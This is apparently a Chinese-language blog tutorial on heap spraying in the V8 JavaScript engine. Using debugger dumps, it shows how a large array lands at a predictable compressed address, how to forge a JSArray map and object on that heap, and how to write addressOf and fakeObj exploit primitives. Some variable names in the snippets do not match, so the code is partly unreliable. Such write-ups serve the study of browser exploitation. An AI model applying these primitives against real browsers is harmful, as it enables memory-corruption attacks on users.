本文讲解V8中的HeapSpary也就是常说的“堆喷”手法的基本原理和思想。后续会写一篇复现CVE-2021-38001的文章,讲解实际HeapSpary的利用和效果。

V8中的堆结构

图源:https://deepu.tech/memory-management-in-v8/

首先,我们需要对V8中的堆结构有个基本认识。V8内存结构总体如下所示

kSgatSL

从图中可以看到,整个堆区域总体可以分为几个小区域:

  • New space(Young generation)
  • Old space(Old generation)
  • Large object space
  • Code-space
  • Cell space, propertity, and map space

我们在V8中所说的“堆”与平时glibc等等所谈到的“堆”有所区别,两者只是功能相近,都是表达用来动态管理内存的一整套机制。但V8中的内存分配,并不依赖于glibc的堆块管理,我们在下文中vmmap的部分也能注意到,两者并不指向同一个虚拟地址范围。或者说,V8中的“堆”比glibc的“堆”更加靠近表层,主要依照解析的JS代码来进行分配操作,而glibc在这里的堆则是决定d8自身在运行时所用到的动态分配的内存

使用vmmap,我们可以找到其V8对应的堆区域大致在下图红框范围:

image-20240919162453479

其中0x331e08240000 0x331f00000000 ---p f7dc0000 0 [anon_331e08240]这一部分表示尚未分配的内存区域。为了方便观察结构,我们可以new一个较大的Array,使其从0x331e08240000这里进行新的分割,而不是从其他区域选择之前废弃的堆块。如下代码,我们分配一个0x8000的Array

1
2
3
a = Array(0x8000);
%DebugPrint(a);
%SystemBreak();

对比两者vmmap结果,可以注意到红线这里的确新分割出了一片区域,区域Size从0x80000增长至0xa3000

image-20240919164440374

我们直接查看多出来区域的内容也就是0x28ce081c0000+0x80000如下

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x28ce081c0000 + 0x80000
0x28ce08240000: 0x0000000000023000 0x0000000000000032
0x28ce08240010: 0x0000561bce413c58 0x000028ce08242118
0x28ce08240020: 0x000028ce08262120 0x0000000000020008
0x28ce08240030: 0x0000000000000000 0x0000000000002118
0x28ce08240040: 0x0000561bce496b40 0x0000561bce405ca0
0x28ce08240050: 0x000028ce08240000 0x0000000000023000
0x28ce08240060: 0x0000000000000000 0x0000000000000000
0x28ce08240070: 0x0000000000000000 0x0000000000000000
0x28ce08240080: 0x0000000000000000 0x0000000000000000
0x28ce08240090: 0x0000000000000000 0x0000000000000000

通过阅读其他的文章以及一些自己的猜测,我们基本能判断出部分偏移处的含义:

  • 0x0: 表示整个结构的大小为0x23000,经过多次测试,新分割的块似乎以0x1000进行对齐
  • 0x18: 已有数据块内容的起始地址
  • 0x20: 空闲区域的起始地址
  • 0x28: 已有数据块的大小0x20008 = 0x8000 * 4 + 0x8 = 0x000028ce08262120 - 0x000028ce08242118
  • 0x28: 结构头的大小0x2118

如果不太熟悉V8的对象结构,可能会疑惑为什么数据块大小额外要加0x8,这里的0x8其实就是elements结构的前两个部分:32 bit map addr32 bit length,之后紧接着的就是实际存储的数据了。具体可以看我之前的文章:V8通用利用链研究

DebugPrint的输出,我们也能确定数据的起始地址为0x28ce08242119 - 1

1
2
3
4
5
6
DebugPrint: 0x28ce08049941: [JSArray]
...
- elements: 0x28ce08242119 <FixedArray[32768]> {
0-32767: 0x28ce0800242d <the_hole>
}
...

堆喷的基本思想

获取堆地址

在上述我们可以继续扩大下Array的大小,使其以0x40000对齐,(0x40000 -0x3000) / 4 = 0xF400。计算得到可以更改Array大小为0xF400进行测试

其中0x3000由0x2118以0x1000对齐可得,4是指向空元素the_hole的压缩指针长度

1
2
3
a = Array(0xF400);
%DebugPrint(a);
%SystemBreak();

查看结构

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x411081c0000 + 0x80000
0x41108240000: 0x0000000000040000 0x0000000000000032
0x41108240010: 0x00005575eaef8c58 0x0000041108242118
0x41108240020: 0x000004110827f120 0x000000000003d008
0x41108240030: 0x0000000000000000 0x0000000000002118
0x41108240040: 0x00005575eaf7bb40 0x00005575eaeeaca0
0x41108240050: 0x0000041108240000 0x0000000000040000
0x41108240060: 0x0000000000000000 0x0000000000000000
0x41108240070: 0x0000000000000000 0x0000000000000000
0x41108240080: 0x0000000000000000 0x0000000000000000
0x41108240090: 0x0000000000000000 0x0000000000000000

可以注意到分割的大小确实是0x40000。另外,由于现在分割块以0x40000对齐,从而保证了低两字节的块起始地址恒为0x0000。导致数据的起始地址变为低两字节恒为0x2118,也就是分割块的头部大小。同时我们观察Debug输出,也能注意到elements的地址第两位为0x2119 = 0x2118 + 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 这里的地址和前面的高位并不一样,是因为我又重新跑了一边,之前的结果忘记复制了😂,反正关注点主要在后4字节

DebugPrint: 0x28fa08049941: [JSArray]
- map: 0x28fa08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x28fa081cc0e9 <JSArray[0]>
- elements: 0x28fa08242119 <FixedArray[62464]> [HOLEY_SMI_ELEMENTS]
- length: 62464
- properties: 0x28fa0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x28fa080048f1: [String] in ReadOnlySpace: #length: 0x28fa0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x28fa08242119 <FixedArray[62464]> {
0-62463: 0x28fa0800242d <the_hole>
}

我们又知V8中地址的存储经常使用指针压缩的方式,所以只需关注低32位即可。

指针压缩详细内容可以看看这篇文章:https://v8.js.cn/blog/pointer-compression/

起始只需关注下压缩指针和解压指针的代码就很清楚了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/***	压缩	***/
uint64_t uncompressed_tagged;
uint32_t compressed_tagged = uint32_t(uncompressed_tagged);

/*** 解压 ***/
uint32_t compressed_tagged;

uint64_t uncompressed_tagged;
if (compressed_tagged & 1) {
// pointer case
uncompressed_tagged = base + uint64_t(compressed_tagged);
} else {
// Smi case
uncompressed_tagged = int64_t(compressed_tagged);
}

在多次运行后,我们可以注意到另一个有趣的现象,下面是几次elements的不同结果

1
2
3
4
5
- elements: 0x28fa08242119
- elements: 0x29cb08242119
- elements: 0x1e5e08242119
- elements: 0x24ee08242119
...

可以很容易注意到,不仅仅低16bit完全相同,整个低32位都是完全相同的,也就是说elements对应的压缩地址是完全固定的,因而我们可以通过合理划分块来获得elements的地址。

这里的地址固定,是因为整个堆区域的起始,都是从0x00000000开始(低32bit),且整个空间区域地址连续,从之前的vmmap图我们也能观察到这点。因此在JS脚本不变的情况下,堆区域的分配基本只受到d8版本的影响,从而使得堆喷的成功率大大提高。

伪造对象

通过上述的内容,我们清楚了用堆喷来泄露可控堆地址的基本思想,在此基础上,我们可以考虑在堆上伪造对象结构,比如这里我们可以尝试伪造一个存储Double类型数据的JSArray对象

首先需要伪造JSArray对应的array_map对象

1
2
3
4
5
6
7
8
9
elemetns_addr = 0x08282119

double_array_map_value0 = itof(0x1604040408002119n);
double_array_map_value1 = itof(0x0a0007ff15000834n);

a[0x1000/0x8] = double_array_map_value0;
a[0x1008/0x8] = double_array_map_value1;

array_map_addr = elemetns_addr + 0x1000 + 0x8;

在map结构中这里的value0和value1也基本是固定值,应该直接找个结构复制出来即可,在js对象进行读写时,并不检查完整的map结构,而是根据这里的特征值来判断元素类型。

然后伪造JSArray主体部分

1
2
3
4
5
6
fake_elements = elemetns_addr + 0x2000;

a[0x0/0x8] = u2d(double_array_map_addr, 0); //map, prototype
a[0x8/0x8] = u2d(fake_elements, 0x2); //elements, length

fake_array_obj_addr = elements_addr + 0x8;

上述便是伪造一个结构的基本流程,了解了这个过程后,addressOf和fakeObject也会变得更加容易实现。另外,针对obj类型的Array map值用gdb动调复制得到如下

1
2
obj_array_map_value0 = itof(0x1604040408002119n);
obj_array_map_value1 = itof(0x0a0007ff09000834n);

addressOf & fakeObj

那么,我们可以写出addressOffakeObj函数的大致框架,其中evil代表我们在堆中伪造的Array对象

1
2
3
4
5
6
7
8
9
function addressOf(obj)
{
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
evil[0] = obj;
a[0x0/0x8] = u2d(double_array_map_addr + 1, 0);
let addr = ftoi(evil[0]) - 1;
console.log("[*] address of obj is: 0x" + hex(addr));
return addr;
}

fakeObj部分如下

1
2
3
4
5
6
7
8
function fakeObj(addr)
{
a[0x0/0x8] = u2d(double_array_map + 1,0);
evil[0] = itof(addr+1n);
a[0x0/0x8] = u2d(obj_array_map_addr + 1, 0);
let obj = evil[0];
return obj;
}

总体来看,堆喷和对象伪造省去了我们在正常利用流程中泄露map地址的部分,我们可以更轻易的获取obj array和double array的map.

下一篇文章将以CVE-2021-38001为例,讲解实际堆喷的利用